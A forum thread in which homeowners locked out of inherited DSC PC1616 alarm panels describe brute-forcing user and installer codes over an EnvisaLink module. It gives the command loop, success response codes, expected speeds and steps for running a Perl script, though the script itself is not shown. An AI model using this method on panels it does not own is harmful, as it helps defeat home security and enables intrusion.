The 5108A response seem to indicate the panel has been armed in stay mode.
671 says the function isn't available (maybe a response to the *8 to enter installer programming while armed).
652 says the partition has been armed, looks to be in stay mode.

Yeah, MikeP has it right. You can't go into installers mode with the panel armed. You need to disarm all partitions on DSC systems to enter installers mode.

Thanks MikeP and K-Man, this is very helpful!!

So here's my situation, I bought a preowned home and inherited the already installed DSC system that was disarmed. I was given a code (assuming it's a user code) but as of today it didn't work. The system was disarmed but after my d*cking around i accidentally armed and trying the code passed on to me doesn't work, it didn't accept the code.

Thanks for indicating that I need to disarm first before I can get into the system. So now I'm thinking:

1. modify the script to brute force (to identify any code) that would disarm the system/partition (not sure what command/codes to send)
2. Run the original code to find my installer code?

Any help on what commands to send to send disarming code?

Also, is there somewhere that explains some of these HEX response codes?

My last resorts:
1. try hardwire factory reset (which means I need to learn how to reprogram existing system setup). Any reference on how to re-program would be helpful.
2. buy a new PC1616 board and replace it.


TIA!!

If you can't find a valid user code then you will have to factory default the panel unfortunately.

Could I modify the script to brute force to simulate keypress to disarm the partition with user code?

Something like this:
1. send command 040 + 1<usercode>
2. look for a response code of 650, 655 or 750 (any other response code would be indicate a failure)
<loop again if not 650, 655, or 750)


Two things i'm uncertain:
1. I'm not too sure to use 040 or 071
2. physically on a keypad it says enter your user code to disarm, if incorrect, enter "#" followed by next user code. Do I need to simulate the "#" in code, if previous code is incorrect?

To brute force to find my installer code I had to disarm my system first (I was given the wrong user code), I managed to figure it out what commands to send and modified the shared script to brute force for a user code.
The only issue in my script is my IF statement at the end to catch the user code if found won't exit the loop, it just waits for more responses. But once I heard the successful "disarm" beep from my panel, I stopped my script manually.

The output when a user code is found looks like this:

Code: Select all

Also, with this script I found often that after a few attempts the responses just stop coming but the program doesn't end, nor throw an error; it just sits there. I'm not sure if my connect got cut/interrupted or something. So many times I had to stop the script, update my script to new start number and restart the script where it left off.. the STDOUT wasn't always capturing either, especially when it errors out like that.

So instead, modify the l0gt and l0g to output to screen only and when you run the script to pipe it to tee to capture the output to a file. It guaranteed for me that what I see on the screen will also be in the output file.

Thank you! I used this updated code from user baobao. It worked perfectly for my DSC 1616.

If you don't know how to run this code, it's not that hard. I did it from my PC which is on the same network as my EnvisaLink. First you should install Perl (I used the strawberry perl). Watch a quick youtube video on how to use perl and you'll get it. And then use Windows Notepad to paste the code below. Make the 2 changes required to make it work (IP address and password). Then save the file in a folder, such as c:\user\yourname\perl\. When I saved my file, I just called it DSC.pl
Open your command prompt and go to the directory where your file is (For me I think I just typed: cd perl). Make sure your alarm is not armed. Then to execute the code in command prompt, type "perl DSC.pl"
My installer code started with a 1, and it took about 80 minutes. If yours starts with a 9 it might take 5 or 6 hours.

Thanks again to all who spent time writing this code, and then sharing it. Y'all are awesome. I have never coded anything and I was able to do this. Now I don't have to pay my former alarm company $150 to come remove his installer code.

Post by Twix007 »

bobao thank you so much for this post and code! I used code I on found on Reddit to get my install code and after 5 days it still never found the code. The post with code from bobao actually works at an incredible speed and its logical when it runs. It runs one code at a time with a response from the DSC module before running another one vs 10 codes at a time (plus major delays) with the one on Reddit. Boboa's in this thread processed about 4,000 codes an hour! Finally got my install code, thank you colt45 for your post, thank you, thank you!!!!!

Really glad I found this, though I have a Honeywell Vista panel which doesn't have quite the same operations as DSC. Curious if anyone has done something similar for Vista panels?

You generally don't have to do this as Honeywell panels have the "back door" method. See our Honeywell Installation Guide on your portal under Support.
